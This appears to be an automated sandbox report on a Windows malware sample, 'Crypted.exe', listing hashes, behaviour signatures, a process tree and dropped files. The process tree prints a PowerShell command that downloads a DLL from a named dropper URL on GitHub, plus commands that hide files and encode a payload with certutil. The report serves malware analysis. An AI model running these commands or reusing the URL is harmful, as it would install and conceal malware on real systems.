Analysis

  • max time kernel
    48s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    28-07-2024 19:42

General

  • Target

    Crypted.exe

  • Size

    50KB

  • MD5

    5dd57385d3af83d5a7160e9c14aa09f5

  • SHA1

    64aabb5a9d77cbb8768779c7f3d0231465ea29f0

  • SHA256

    1f465a7b1dac4223346ba3070599d95dcdaa071d31d0e0a301322ee4433b4b7a

  • SHA512

    05eb789f336fe6d4280b085d86774bdc6e818e822a42a9165102dcbd478d16168dbceadd786783547db37f7635a5451211daea3fd008557a1d3f0533326e9ea5

  • SSDEEP

    1536:5GuV08a0ep7+bYrVNXUsyWSBY99w399hVkrf1t0:bYrVOsyWSBY99kq5W

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/NGROKC/CTC/raw/main/SInject2.dll

Signatures

  • Contains code to disable Windows Defender 3 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Blocklisted process makes network request 2 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops autorun.inf file 1 TTPs 4 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Drops file in System32 directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Crypted.exe
    "C:\Users\Admin\AppData\Local\Temp\Crypted.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2312
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\Crypted.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2188
      • C:\Windows\SysWOW64\attrib.exe
        attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\Crypted.exe"
        3⤵
        • Sets file to hidden
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:1152
    • C:\Windows\SysWOW64\explorer.exe
      "C:\Windows\System32\explorer.exe" C:\ProgramData\caca\$77-caca.exe.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2724
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\ProgramData\caca\$77-caca.exe.exe
      "C:\ProgramData\caca\$77-caca.exe.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops autorun.inf file
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2784
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c attrib +s +h +r "C:\ProgramData\caca\$77-caca.exe.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2528
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\ProgramData\caca\$77-caca.exe.exe"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2576
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\inj.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2564
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/SInject2.dll','C:\Users\Admin\AppData\Roaming\SInject2.dll');exit
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:596
      • C:\Windows\SysWOW64\certutil.exe
        certutil -encode C:\Users\Admin\AppData\Roaming\SInject1.exe C:\Users\Admin\AppData\Roaming\SInject3.bin
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2712
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 1328
        3⤵
        • Loads dropped DLL
        • Program crash
        PID:2844
  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:552
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7189758,0x7fef7189768,0x7fef7189778
      2⤵
        PID:380
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1196 --field-trial-handle=1264,i,14907054129173071664,9402660540457593039,131072 /prefetch:2
        2⤵
          PID:1116
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1552 --field-trial-handle=1264,i,14907054129173071664,9402660540457593039,131072 /prefetch:8
          2⤵
            PID:880
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1660 --field-trial-handle=1264,i,14907054129173071664,9402660540457593039,131072 /prefetch:8
            2⤵
              PID:872
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2180 --field-trial-handle=1264,i,14907054129173071664,9402660540457593039,131072 /prefetch:1
              2⤵
                PID:1700
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2188 --field-trial-handle=1264,i,14907054129173071664,9402660540457593039,131072 /prefetch:1
                2⤵
                  PID:1724
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1288 --field-trial-handle=1264,i,14907054129173071664,9402660540457593039,131072 /prefetch:2
                  2⤵
                    PID:1520
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2320 --field-trial-handle=1264,i,14907054129173071664,9402660540457593039,131072 /prefetch:1
                    2⤵
                      PID:1648
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3644 --field-trial-handle=1264,i,14907054129173071664,9402660540457593039,131072 /prefetch:8
                      2⤵
                        PID:2808
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=1608 --field-trial-handle=1264,i,14907054129173071664,9402660540457593039,131072 /prefetch:1
                        2⤵
                          PID:2836
                      • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                        "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                        1⤵
                          PID:1304

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        • C:\ProgramData\caca\$77-caca.exe.exe

                          Filesize

                          50KB

                          MD5

                          5dd57385d3af83d5a7160e9c14aa09f5

                          SHA1

                          64aabb5a9d77cbb8768779c7f3d0231465ea29f0

                          SHA256

                          1f465a7b1dac4223346ba3070599d95dcdaa071d31d0e0a301322ee4433b4b7a

                          SHA512

                          05eb789f336fe6d4280b085d86774bdc6e818e822a42a9165102dcbd478d16168dbceadd786783547db37f7635a5451211daea3fd008557a1d3f0533326e9ea5

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000001

                          Filesize

                          210KB

                          MD5

                          5ac828ee8e3812a5b225161caf6c61da

                          SHA1

                          86e65f22356c55c21147ce97903f5dbdf363649f

                          SHA256

                          b70465f707e42b41529b4e6d592f136d9eb307c39d040d147ad3c42842b723e7

                          SHA512

                          87472912277ae0201c2a41edc228720809b8a94599c54b06a9c509ff3b4a616fcdd10484b679fa0d436e472a8fc062f4b9cf7f4fa274dde6d10f77d378c06aa6

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

                          Filesize

                          264KB

                          MD5

                          f50f89a0a91564d0b8a211f8921aa7de

                          SHA1

                          112403a17dd69d5b9018b8cede023cb3b54eab7d

                          SHA256

                          b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                          SHA512

                          bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                          Filesize

                          361B

                          MD5

                          e8f72df4083ce807165df01e79c1f735

                          SHA1

                          efc61177dd24cf24327c6607e07391d1abd4ddbe

                          SHA256

                          320688e15863ae42d490a46806865207b6dc4be2efe65ed5ad64dac81c312ac2

                          SHA512

                          068bd75bef00f17047b0820c81b72025cc4a53e53197e6cd3cc4e98dc121e6ad88b52b9a7f06383e41c9de664bff93e817bd97e68d53a43f6bdc9609dddf9694

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          5KB

                          MD5

                          a0a5df67a1ec24abec3a61d1605cc60f

                          SHA1

                          fcd464695ebf7b24419fceb10400f2038b67e0ba

                          SHA256

                          ba678bd49805f683edd71a7bc61ac00543897c477774de66b9acd407c1ff1a24

                          SHA512

                          bad1abf67ad561a36154704ab7ec7f89d51dde808b546be866562f8301ab122c10c70ef112e920142ad903780176c58e2c661047c9d079cabbdfeef56430dd90

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          5KB

                          MD5

                          48b0e4368e26650dfb61e1396026f233

                          SHA1

                          b19afca74d8a9254220ebd590dee95d69cbb6c22

                          SHA256

                          6433f6dfcbef75b9bb987a896418e60cacd1dbd732558a59d88a0b7e9998ac7d

                          SHA512

                          7f2fe72508f2366752ea5605a3f5d9bfc5bcbb59fda3e8655e7546333d04b1016377214d94375e998b6c98d89b559fd3eb28800040cc16fbd7fec71b40adc86d

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000007.dbtmp

                          Filesize

                          16B

                          MD5

                          18e723571b00fb1694a3bad6c78e4054

                          SHA1

                          afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                          SHA256

                          8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                          SHA512

                          43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

                        • C:\Users\Admin\AppData\Local\Temp\inj.bat

                          Filesize

                          257B

                          MD5

                          b09cfef3a4b4ad3d325e1da75298680d

                          SHA1

                          d78f29730c04b5d340b79ea63478488b087c01dd

                          SHA256

                          34e94c47c49e449f2b6ab4bb8157e47e538a72b46d2e4a548aa45c14546a9c26

                          SHA512

                          ff84e6abedf2aa20df541a2cd4043bb8eaacb0409d532f5b7d13869827c90b2cb122b86380332f0e191e2ce78eed5add29ad5635e5f9c54e31d0ad85baa6bdda

                        • memory/2312-0-0x00000000743DE000-0x00000000743DF000-memory.dmp

                          Filesize

                          4KB

                        • memory/2312-1-0x00000000009B0000-0x00000000009C2000-memory.dmp

                          Filesize

                          72KB

                        • memory/2784-5-0x00000000011F0000-0x0000000001202000-memory.dmp

                          Filesize

                          72KB